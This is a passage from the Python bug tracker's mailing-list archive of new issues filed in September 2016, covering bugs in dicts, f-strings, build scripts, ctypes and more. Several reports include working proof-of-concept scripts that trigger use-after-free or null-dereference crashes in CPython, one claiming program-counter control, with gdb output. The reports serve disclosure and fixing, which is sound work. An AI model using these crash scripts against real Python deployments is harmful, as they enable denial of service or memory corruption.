	Py_DECREF(PyTuple_GET_ITEM(result, 1));

This can execute Python code and mutate the dict. If that happens, the index "i"
previously computed by dictiter_iternextitem could become invalid. It would then
index out of bounds with this line:

	key = d->ma_keys->dk_entries[i].me_key;

Furthermore the "value_ptr" variable would have gone stale, too. Taking the
"value" variable out of it uses memory that has been freed:

	value = *value_ptr;

Here's a PoC which crashes with the "value" variable being an arbitrary pointer:

---

class X(int):
    def __del__(self):
        d.clear()
    
d = {i: X(i) for i in range(8)}
    
for result in d.items():
    if result[0] == 2:
        d[2] = None # free d[2] --> X(2).__del__ is called

---

The result:

(gdb) run ./poc29.py 
Program received signal SIGSEGV, Segmentation fault.
dictiter_iternextitem (di=0x7ffff6d49cd8) at Objects/dictobject.c:3187
3187        Py_INCREF(key);
(gdb) print value
$12 = (PyObject *) 0x7b7b7b7b7b7b7b7b

----------
components: Interpreter Core
messages: 274275
nosy: tehybel
priority: normal
severity: normal
status: open
title: five dictobject issues

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:48:01 2016
From: report at bugs.python.org (tehybel)
Date: Fri, 02 Sep 2016 21:48:01 +0000
Subject: [New-bugs-announce] [issue27946] issues in elementtree and
 elsewhere due to PyDict_GetItem
Message-ID: <1472852881.19.0.987799736928.issue27946@psf.upfronthosting.co.za>


New submission from tehybel:

I would like to describe an issue in the _elementtree module, and then
propose a fix which would prevent this type of bug everywhere in the
codebase.

The issue exists in _elementtree_Element_get_impl in
/Modules/_elementtree.c. Here is the code:

    static PyObject *
    _elementtree_Element_get_impl(ElementObject *self, PyObject *key,
                                  PyObject *default_value)
    {
        PyObject* value;

        if (...)
            value = default_value;
        else {
            value = PyDict_GetItem(self->extra->attrib, key);
            ...
        }
        ...
    }

We look up "key" in the dictionary, that is, in self->extra->attrib. This is 
done with the call to PyDict_GetItem(self->extra->attrib, key).

We need to hash the "key" object in order to find it in the dictionary. This
sometimes requires calling the key's __hash__ function, i.e., it might call on
to python code.

What happens if the python code gets the dictionary (self->extra->attrib) freed?
Then PyDict_GetItem will use it after it has been freed.

I've attached a proof-of-concept script which causes a use-after-free through
_elementtree_Element_get_impl due to this issue.

We could fix this by calling Py_INCREF on self->extra->attrib before calling
PyDict_GetItem. But grepping for "PyDict_GetItem.*\->" shows that there are many
places in the codebase where this situation occurs. Some of these may not have
much impact, but some of them likely will.

All these bugs could be fixed at once by changing PyDict_GetItem to call 
Py_INCREF on the dictionary before it hashes the key.



Here's a PoC for the _elementtree module.

--- begin script ---

import _elementtree as et

state = {
    "tag": "tag",
    "_children": [],
    "attrib": "attr",
    "tail": "tail",
    "text": "text",
}

class X:
    def __hash__(self):
        e.__setstate__(state) # this frees e->extra->attrib
        return 13

e = et.Element("elem", {1: 2})
e.get(X())

--- end script ---

Running it (64-bits Python 3.5.2, --with-pydebug) causes a use-after-free with
control of the program counter:

(gdb) r ./poc13.py
Starting program: /home/xx/Python-3.5.2/python ./poc13.py

Program received signal SIGSEGV, Segmentation fault.
0x00000000004939af in PyDict_GetItem (op=0x7ffff6d5b1a8, key=0x7ffff6d528e0) at Objects/dictobject.c:1079
1079            ep = (mp->ma_keys->dk_lookup)(mp, key, hash, &value_addr);
(gdb) p mp->ma_keys->dk_lookup
$8 = (dict_lookup_func) 0x7b7b7b7b7b7b7b7b

----------
components: Extension Modules
messages: 274276
nosy: tehybel
priority: normal
severity: normal
status: open
title: issues in elementtree and elsewhere due to PyDict_GetItem
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27946>
_______________________________________

From report at bugs.python.org  Fri Sep  2 22:47:54 2016
From: report at bugs.python.org (cfgbd)
Date: Sat, 03 Sep 2016 02:47:54 +0000
Subject: [New-bugs-announce] [issue27947] Bug of python interpreter
Message-ID: <1472870874.89.0.189618974966.issue27947@psf.upfronthosting.co.za>


New submission from cfgbd:

In python shell, I typed words and got result as follows. It seems that the use of 'r' before a literal string may cause an error that the an odd '\' at the end of literal string blocked the quote.

>>> rb'abc\\\'
SyntaxError: EOL while scanning string literal
>>> rb'abc\\'
b'abc\\\\'
>>> br'abc\\\ '
b'abc\\\\\\ '
>>> br'abc\\\'
SyntaxError: EOL while scanning string literal
>>> r'\\'
'\\\\'
>>> r'\\\'
SyntaxError: EOL while scanning string literal

----------
messages: 274282
nosy: cfgbd
priority: normal
severity: normal
status: open
title: Bug of python interpreter
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27947>
_______________________________________

From report at bugs.python.org  Sat Sep  3 09:24:05 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 03 Sep 2016 13:24:05 +0000
Subject: [New-bugs-announce] [issue27948] f-strings: allow backslashes only
 in the string parts, not in the expression parts
Message-ID: <1472909045.16.0.0196162777566.issue27948@psf.upfronthosting.co.za>


New submission from Eric V. Smith:

See issue 27921.

Currently (and for 3.6 beta 1), backslashes are not allowed anywhere in f-strings. This needs to be changed to allow them in the string parts, but not in the expression parts.

Also, require that the start and end of an expression be literal '{' and '}, not escapes like '\0x7b' and '\u007d'.

----------
assignee: eric.smith
components: Interpreter Core
messages: 274294
nosy: eric.smith
priority: normal
severity: normal
stage: needs patch
status: open
title: f-strings: allow backslashes only in the string parts, not in the expression parts
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27948>
_______________________________________

From report at bugs.python.org  Sat Sep  3 10:44:33 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 03 Sep 2016 14:44:33 +0000
Subject: [New-bugs-announce] [issue27949] Fix description in bytes literal
 doc
Message-ID: <1472913873.18.0.202721343298.issue27949@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

This sentence "bytes with a numeric value of 128 or greater must be expressed with escapes" is wrong and not complete. The value needs to be escaped is >= 127 and < 32.

----------
assignee: docs at python
components: Documentation
files: lexical_bytes_literal.patch
keywords: patch
messages: 274297
nosy: docs at python, xiang.zhang
priority: normal
severity: normal
status: open
title: Fix description in bytes literal doc
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44354/lexical_bytes_literal.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27949>
_______________________________________

From report at bugs.python.org  Sat Sep  3 13:18:13 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 03 Sep 2016 17:18:13 +0000
Subject: [New-bugs-announce] [issue27950] Superflous messages when running
 make
Message-ID: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Every time running make I can get such messages:

# Substitution happens here, as the completely-expanded BINDIR
# is not available in configure
sed -e "s, at EXENAME@,/usr/local/bin/python3.6m," < ./Misc/python-config.in >python-config.py
# Replace makefile compat. variable references with shell script compat. ones;  -> 
sed -e 's,\$(\([A-Za-z0-9_]*\)),\$\{\1\},g' < Misc/python-config.sh >python-config
# On Darwin, always use the python version of the script, the shell
# version doesn't use the compiler customizations that are provided
# in python (_osx_support.py).
if test `uname -s` = Darwin; then \
	cp python-config.py python-config; \
fi

and 

./python -E -S -m sysconfig --generate-posix-vars ;\
if test $? -ne 0 ; then \
	echo "generate-posix-vars failed" ; \
	rm -f ./pybuilddir.txt ; \
	exit 1 ; \
fi

I think the comment and if part has no need to prompt to users.

Also running some recipes regarding coverage like run_profile_task will prompt 

: # FIXME: can't run for a cross build

Need to get a fix for this?

----------
components: Build
messages: 274316
nosy: ned.deily, xiang.zhang
priority: normal
severity: normal
status: open
title: Superflous messages when running make
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sun Sep  4 00:47:59 2016
From: report at bugs.python.org (Seif Elsallamy)
Date: Sun, 04 Sep 2016 04:47:59 +0000
Subject: [New-bugs-announce] [issue27951] the reply's additional "Re:" is ok
Message-ID: <1472964479.79.0.387806961261.issue27951@psf.upfronthosting.co.za>


Changes by Seif Elsallamy <saifmega at yahoo.com>:


----------
nosy: saifmega
priority: normal
severity: normal
status: open
title: the reply's additional "Re:" is ok

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27951>
_______________________________________

From report at bugs.python.org  Sun Sep  4 02:16:33 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 04 Sep 2016 06:16:33 +0000
Subject: [New-bugs-announce] [issue27952] Finish converting fixcid.py from
 regex to re
Message-ID: <1472969793.48.0.218337698391.issue27952@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Tools/scripts/fixcid.py initially used old regex module. In 4727f260f6f8 it was converted to using new re module, but not all generated regular expressions were converted to new syntax. The script is not working since that time.

----------
components: Demos and Tools
messages: 274341
nosy: ezio.melotti, martin.panter, serhiy.storchaka
priority: low
severity: normal
stage: needs patch
status: open
title: Finish converting fixcid.py from regex to re
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27952>
_______________________________________

From report at bugs.python.org  Sun Sep  4 04:35:39 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 04 Sep 2016 08:35:39 +0000
Subject: [New-bugs-announce] [issue27953] tan has poor accuracy near pi/2 on
 OS X Tiger
Message-ID: <1472978139.6.0.979363390278.issue27953@psf.upfronthosting.co.za>


New submission from Mark Dickinson:

Opening this for the record; I intend to close as "wont fix".

The tan function has poor accuracy for inputs near pi/2 on OS X 10.4. This is a direct consequence of a poor libm implementation, so there's little we can do about it short of re-implenting tan ourselves. 10.4 is ancient enough by now that it's difficult to care too much.

Example failures:

======================================================================
FAIL: test_testfile (test.test_math.MathTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/db3l/buildarea/3.x.bolen-tiger/build/Lib/test/test_math.py", line 1190, in test_testfile
    '\n  '.join(failures))
AssertionError: Failures in test_testfile:
  tan0064: tan(1.5707963267948961): expected 1978937966095219.0, got 1978945885716843.0 (error = 7.92e+09 (31678486496 ulps); permitted error = 0 or 5 ulps)


and a corresponding failure in cmath:

======================================================================
FAIL: test_specific_values (test.test_cmath.CMathTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/db3l/buildarea/3.x.bolen-tiger/build/Lib/test/test_cmath.py", line 398, in test_specific_values
    msg=error_message)
  File "/Users/db3l/buildarea/3.x.bolen-tiger/build/Lib/test/test_cmath.py", line 147, in rAssertAlmostEqual
    '{!r} and {!r} are not sufficiently close'.format(a, b))
AssertionError: tan0064: tan(complex(1.5707963267948961, 0.0))
Expected: complex(1978937966095219.0, 0.0)
Received: complex(1978945885716843.0, 0.0)
Received value insufficiently close to expected value.

----------
assignee: mark.dickinson
components: Extension Modules, Macintosh
messages: 274350
nosy: mark.dickinson, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: tan has poor accuracy near pi/2 on OS X Tiger
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27953>
_______________________________________

From report at bugs.python.org  Sun Sep  4 11:15:43 2016
From: report at bugs.python.org (David D)
Date: Sun, 04 Sep 2016 15:15:43 +0000
Subject: [New-bugs-announce] [issue27954] makesetup does not take into
 account subdirectories
Message-ID: <1473002143.7.0.439810404668.issue27954@psf.upfronthosting.co.za>


New submission from David D:

https://hg.python.org/cpython/file/tip/Modules/makesetup#l202

If I try to create a built-in module with a source file named exactly as another source file that already exists in a different module, the script generates the same output path for the object files, creating a conflict.

----------
components: Build, Extension Modules
messages: 274366
nosy: David D
priority: normal
severity: normal
status: open
title: makesetup does not take into account subdirectories
type: compile error
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27954>
_______________________________________

From report at bugs.python.org  Mon Sep  5 09:25:37 2016
From: report at bugs.python.org (iwings)
Date: Mon, 05 Sep 2016 13:25:37 +0000
Subject: [New-bugs-announce] [issue27955] getrandom() syscall returning
 EPERM make the system unusable.
Message-ID: <1473081937.73.0.0253643547204.issue27955@psf.upfronthosting.co.za>


New submission from iwings:

On QNAP's Linux Station (lxc based virtual environment), getrandom() syscall returns EPERM not ENOSYS when it's not available.

(HOST) uname -a
Linux ******-NAS 3.12.6 #1 SMP Thu Sep 1 00:57:44 CST 2016 x86_64 unknown

(HOST) /lib64/libc-2.19.so
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.6) stable release version 2.19, by Roland McGrath et al.

(LXC) uname -a
Linux ubuntu_1604 3.12.6 #1 SMP Thu Sep 1 00:57:44 CST 2016 x86_64 x86_64 x86_64 GNU/Linux

(LXC) /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.

(LXC)
long n = syscall(SYS_getrandom, buffer, sizeof(buffer), flags);
printf("SYS_getrandom: %ld (%d)\n", n, errno);
=> 
SYS_getrandom: -1 (1)

Proper fall back to /dev/urandom is not happening in this case, so most python app calling getrandom function fails. This includes apt, command-not-found etc.

----------
files: random.diff
keywords: patch
messages: 274399
nosy: iwings
priority: normal
severity: normal
status: open
title: getrandom() syscall returning EPERM make the system unusable.
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44371/random.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27955>
_______________________________________

From report at bugs.python.org  Mon Sep  5 15:02:13 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Mon, 05 Sep 2016 19:02:13 +0000
Subject: [New-bugs-announce] [issue27956] optimize dict_traverse a bit
Message-ID: <1473102133.16.0.696964293118.issue27956@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

dict_traverse shows up a lot on statistical profiles of Python programs. This is not surprising since Python programs have lots of dicts. There isn't a huge amount of room for optimization here, but we can avoid some memory indirection. This patch saves a few percent of time through this function in my measurements.

----------
components: Interpreter Core
files: traverse.patch
keywords: patch
messages: 274420
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: optimize dict_traverse a bit
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44375/traverse.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27956>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:00:31 2016
From: report at bugs.python.org (George London)
Date: Mon, 05 Sep 2016 21:00:31 +0000
Subject: [New-bugs-announce] [issue27957] minor typo in importlib docs
Message-ID: <1473109231.6.0.988528969997.issue27957@psf.upfronthosting.co.za>


New submission from George London:

An extra apostrophe made the grammar of a method description ambiguous. The attached patch removes the apostrophe.

----------
assignee: docs at python
components: Documentation
files: mywork.patch
keywords: patch
messages: 274429
nosy: docs at python, gjlondon
priority: normal
severity: normal
status: open
title: minor typo in importlib docs
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file44377/mywork.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27957>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:23:57 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 22:23:57 +0000
Subject: [New-bugs-announce] [issue27958] 'zlib compression' not found in
 set(['RLE', 'ZLIB', None])
Message-ID: <1473114237.79.0.529553102589.issue27958@psf.upfronthosting.co.za>


New submission from Christian Heimes:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%209.x%202.7/builds/1397/steps/test/logs/stdio fails:

======================================================================
FAIL: test_compression (test.test_ssl.ThreadedTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/2.7.koobs-freebsd9/build/Lib/test/test_ssl.py", line 2875, in test_compression
    self.assertIn(stats['compression'], { None, 'ZLIB', 'RLE' })
AssertionError: 'zlib compression' not found in set(['RLE', 'ZLIB', None])

It's probably fine to add 'zlib compression' to the list of accepted compression names.

----------
assignee: christian.heimes
components: Tests
messages: 274448
nosy: christian.heimes
priority: normal
severity: normal
stage: needs patch
status: open
title: 'zlib compression' not found in set(['RLE', 'ZLIB', None])
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27958>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:41:40 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 05 Sep 2016 23:41:40 +0000
Subject: [New-bugs-announce] [issue27959] Add 'oem' encoding
Message-ID: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>


New submission from Steve Dower:

Currently the ANSI encoding is available on Windows as 'mbcs', however the OEM encoding (sometimes used by console-based applications) is not easily available.

The implementation is identical to PyUnicode_DecodeMBCS[Stateful], simply passing CP_OEM instead of CP_ACP.

----------
assignee: steve.dower
components: Windows
messages: 274470
nosy: haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Add 'oem' encoding
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:47:31 2016
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 05 Sep 2016 23:47:31 +0000
Subject: [New-bugs-announce] [issue27960] Distutils tests are broken in 3.4
Message-ID: <1473119251.18.0.120707316704.issue27960@psf.upfronthosting.co.za>


New submission from Larry Hastings:

3.4.5 shipped with a working test suite.  Since the release of 3.4.5 somebody broke test_distutils in the 3.4 branch.  It needs to be fixed.

jason.coombs: AFAICT you were the last person to touch it.  Are you the one who broke it?


 % ./python -m test test_distutils
[1/1] test_distutils
test test_distutils crashed -- Traceback (most recent call last):
  File "/home/larry/src/python/broke34/Lib/test/regrtest.py", line 1279, in runtest_inner
    test_runner()
  File "/home/larry/src/python/broke34/Lib/test/test_distutils.py", line 13, in test_main
    test.support.run_unittest(distutils.tests.test_suite())
  File "/home/larry/src/python/broke34/Lib/distutils/tests/__init__.py", line 31, in test_suite
    suite.addTest(module.test_suite())
AttributeError: 'module' object has no attribute 'test_suite'

1 test failed:
    test_distutils

----------
assignee: jason.coombs
components: Tests
keywords: 3.4regression
messages: 274472
nosy: jason.coombs, larry, zach.ware
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Distutils tests are broken in 3.4
type: crash
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27960>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:50:29 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Mon, 05 Sep 2016 23:50:29 +0000
Subject: [New-bugs-announce] [issue27961] remove support for platforms
 without "long long"
Message-ID: <1473119429.61.0.683650779093.issue27961@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

Neither Python 2.7 nor 3.3+ compile without HAVE_LONG_LONG, so effectively this is already completely unsupported. Let's completely dump it in 3.6.

----------
components: Interpreter Core
messages: 274473
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: remove support for platforms without "long long"
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27961>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:09:52 2016
From: report at bugs.python.org (=?utf-8?b?TWluaCBSw6J1?=)
Date: Tue, 06 Sep 2016 02:09:52 +0000
Subject: [New-bugs-announce] [issue27962] null poiter dereference in
 set_conversion_mode dua uncheck _ctypes_conversion_encoding
Message-ID: <1473127792.38.0.373594857813.issue27962@psf.upfronthosting.co.za>


New submission from Minh R?u:

Description:
------------
Null dereference in function set_conversion_mode due uncheck _ctypes_conversion_encoding:

static PyObject *
set_conversion_mode(PyObject *self, PyObject *args)
{
...
    if (coding) {
        PyMem_Free(_ctypes_conversion_encoding);
        _ctypes_conversion_encoding = PyMem_Malloc(strlen(coding) + 1); //if memory is not enough, _ctypes_conversion_encoding will be null
        strcpy(_ctypes_conversion_encoding, coding); // crash here
    } else {
...


Test script:
---------------

import ctypes

s = 'a'*(0xffffffff/2-0xffff)
sss = 'a'*(0xffffffff/4)
ctypes.set_conversion_mode(s, s)


Expected result:
----------------
No Crash

Actual result:
--------------
Starting program: /home/minhrau/cpython-2.7/python ~/pythontestcase/test.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0xf7def209 in __strcpy_sse2 () from /usr/lib32/libc.so.6
(gdb) bt
#0  0xf7def209 in __strcpy_sse2 () from /usr/lib32/libc.so.6
#1  0xf7fba5c2 in set_conversion_mode (self=0x0, args=0xf7cd602c) at /home/minhrau/cpython-2.7/Modules/_ctypes/callproc.c:1700
#2  0x080f6dfc in call_function (oparg=<optimized out>, pp_stack=0xffffd45c) at Python/ceval.c:4350
#3  PyEval_EvalFrameEx (f=<optimized out>, throwflag=<optimized out>) at Python/ceval.c:2987
#4  0x080f964e in PyEval_EvalCodeEx (co=0xf7cc94e8, globals=0xf7d5b714, locals=0xf7d5b714, args=0x0, argcount=0, kws=0x0, kwcount=0, defs=0x0, defcount=0, closure=0x0) at Python/ceval.c:3582
#5  0x080f9942 in PyEval_EvalCode (co=0xf7cc94e8, globals=0xf7d5b714, locals=0xf7d5b714) at Python/ceval.c:669
#6  0x0811e928 in run_mod (arena=0x8264f18, flags=0xffffd64c, locals=0xf7d5b714, globals=0xf7d5b714, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", mod=0x826daa0) at Python/pythonrun.c:1376
#7  PyRun_FileExFlags (fp=0x826c788, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", start=257, globals=0xf7d5b714, locals=0xf7d5b714, closeit=1, flags=0xffffd64c) at Python/pythonrun.c:1362
#8  0x081202f4 in PyRun_SimpleFileExFlags (fp=0x826c788, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", closeit=1, flags=0xffffd64c) at Python/pythonrun.c:948
#9  0x0805a37d in Py_Main (argc=2, argv=0xffffd794) at Modules/main.c:640
#10 0x080594cb in main (argc=2, argv=0xffffd794) at ./Modules/python.c:20

Patch:
--------------
file: cpython-2.7/Modules/_ctypes/callproc.c
1700,1701d1699
<         if (_ctypes_conversion_encoding == NULL)
<             return PyErr_NoMemory();

----------
components: ctypes
messages: 274493
nosy: minhrau
priority: normal
severity: normal
status: open
title: null poiter dereference in set_conversion_mode dua uncheck _ctypes_conversion_encoding
type: security
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27962>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:10:46 2016
From: report at bugs.python.org (=?utf-8?b?TWluaCBSw6J1?=)
Date: Tue, 06 Sep 2016 02:10:46 +0000
Subject: [New-bugs-announce] [issue27963] null poiter dereference in
 set_conversion_mode dua uncheck _ctypes_conversion_errors
Message-ID: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>


New submission from Minh R?u:

Description:
------------
Null dereference in function set_conversion_mode due uncheck _ctypes_conversion_errors:

static PyObject *
set_conversion_mode(PyObject *self, PyObject *args)
{
    char *coding, *mode;
    PyObject *result;
...
    PyMem_Free(_ctypes_conversion_errors);
    _ctypes_conversion_errors = PyMem_Malloc(strlen(mode) + 1); //if memory is not enough, _ctypes_conversion_errors will be null
    strcpy(_ctypes_conversion_errors, mode); // crash here
    return result;
}



Test script:
---------------

import ctypes

s = 'a'*(0xffffffff/2-0xffff)
sss = 'a'*(0xffffffff/4)
ctypes.set_conversion_mode('a', s)


Expected result:
----------------
No Crash

Actual result:
--------------
Starting program: /home/minhrau/cpython-2.7/python ~/pythontestcase/test.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0xf7def209 in __strcpy_sse2 () from /usr/lib32/libc.so.6
(gdb) bt
#0  0xf7def209 in __strcpy_sse2 () from /usr/lib32/libc.so.6
#1  0xf7fba5f2 in set_conversion_mode (self=0x0, args=0xf7cd602c) at /home/minhrau/cpython-2.7/Modules/_ctypes/callproc.c:1706
#2  0x080f6dfc in call_function (oparg=<optimized out>, pp_stack=0xffffd45c) at Python/ceval.c:4350
#3  PyEval_EvalFrameEx (f=<optimized out>, throwflag=<optimized out>) at Python/ceval.c:2987
#4  0x080f964e in PyEval_EvalCodeEx (co=0xf7cc94e8, globals=0xf7d5b714, locals=0xf7d5b714, args=0x0, argcount=0, kws=0x0, kwcount=0, defs=0x0, defcount=0, closure=0x0) at Python/ceval.c:3582
#5  0x080f9942 in PyEval_EvalCode (co=0xf7cc94e8, globals=0xf7d5b714, locals=0xf7d5b714) at Python/ceval.c:669
#6  0x0811e928 in run_mod (arena=0x8264f18, flags=0xffffd64c, locals=0xf7d5b714, globals=0xf7d5b714, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", mod=0x826daa0) at Python/pythonrun.c:1376
#7  PyRun_FileExFlags (fp=0x826c788, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", start=257, globals=0xf7d5b714, locals=0xf7d5b714, closeit=1, flags=0xffffd64c) at Python/pythonrun.c:1362
#8  0x081202f4 in PyRun_SimpleFileExFlags (fp=0x826c788, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", closeit=1, flags=0xffffd64c) at Python/pythonrun.c:948
#9  0x0805a37d in Py_Main (argc=2, argv=0xffffd794) at Modules/main.c:640
#10 0x080594cb in main (argc=2, argv=0xffffd794) at ./Modules/python.c:20
(gdb) 


Patch:
--------------
file: cpython-2.7/Modules/_ctypes/callproc.c
1706,1707d1705
<     if (_ctypes_conversion_errors == NULL)
<         return PyErr_NoMemory();

----------
components: ctypes
messages: 274494
nosy: minhrau
priority: normal
severity: normal
status: open
title: null poiter dereference in set_conversion_mode dua uncheck _ctypes_conversion_errors
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:35:12 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 06 Sep 2016 02:35:12 +0000
Subject: [New-bugs-announce] [issue27964] Add random.shuffled
Message-ID: <1473129312.89.0.375337142335.issue27964@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

An occasionally requested feature is for a shuffled() function, related to the in-place random.shuffle() as sorted() is to list.sort().

See the latest example:

https://mail.python.org/pipermail/python-ideas/2016-September/042096.html

----------
messages: 274504
nosy: rhettinger, steven.daprano
priority: normal
severity: normal
status: open
title: Add random.shuffled

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27964>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:20:06 2016
From: report at bugs.python.org (Marcquise Washington)
Date: Tue, 06 Sep 2016 04:20:06 +0000
Subject: [New-bugs-announce] [issue27965] automatic .py extension
Message-ID: <1473135606.27.0.92782184591.issue27965@psf.upfronthosting.co.za>


New submission from Marcquise Washington:

I am experiencing an issue where when I finish coding a program and I go to save file, just before running the program, I have manually add the .py extension, instead of the extension being already embedded with the file name, given that I am saving the file through the (IDLE/python) script/interpreter/compiler. On other systems it seems to automatically ad the .py extension when saving files, but not on my Macbook Pro (Running OS X El Capitan V 10.11.6). Please help

----------
components: Macintosh
messages: 274511
nosy: InfiniteHybrid, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: automatic .py extension
type: performance
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27965>
_______________________________________

From report at bugs.python.org  Tue Sep  6 01:45:11 2016
From: report at bugs.python.org (Mark Hammond)
Date: Tue, 06 Sep 2016 05:45:11 +0000
Subject: [New-bugs-announce] [issue27966] PEP-397 documents incorrect
 registry path
Message-ID: <1473140711.09.0.302739386387.issue27966@psf.upfronthosting.co.za>


New submission from Mark Hammond:

Received via email:

PEP-397 (PEP 397 -- Python launcher for Windows) says:
"""
The launcher installation is registered in

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\SharedDLLs with a reference counter.
"""

There is no such entry. It should be HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs

----------
assignee: docs at python
components: Documentation
messages: 274525
nosy: docs at python, mhammond
priority: normal
severity: normal
status: open
title: PEP-397 documents incorrect registry path

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27966>
_______________________________________

From report at bugs.python.org  Tue Sep  6 02:24:10 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 06:24:10 +0000
Subject: [New-bugs-announce] [issue27967] Remove unused variables causing
 compile warnings in sqlite3 module
Message-ID: <1473143050.26.0.381647995146.issue27967@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Compile py2.7 will generate two unused variable warnings in sqlite3 module. The variables have already not existed in py3.

/home/angwer/py2.7/Modules/_sqlite/cursor.c: In function ?pysqlite_cursor_dealloc?:
/home/angwer/py2.7/Modules/_sqlite/cursor.c:121:9: warning: variable ?rc? set but not used [-Wunused-but-set-variable]
     int rc;

/home/angwer/py2.7/Modules/_sqlite/statement.c: In function ?pysqlite_statement_dealloc?:
/home/angwer/py2.7/Modules/_sqlite/statement.c:414:9: warning: variable ?rc? set but not used [-Wunused-but-set-variable]
     int rc;

----------
components: Library (Lib)
files: py2.7_sqlite_unused.patch
keywords: patch
messages: 274528
nosy: xiang.zhang
priority: normal
severity: normal
status: open
title: Remove unused variables causing compile warnings in sqlite3 module
versions: Python 2.7
Added file: http://bugs.python.org/file44391/py2.7_sqlite_unused.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27967>
_______________________________________

From report at bugs.python.org  Tue Sep  6 02:29:11 2016
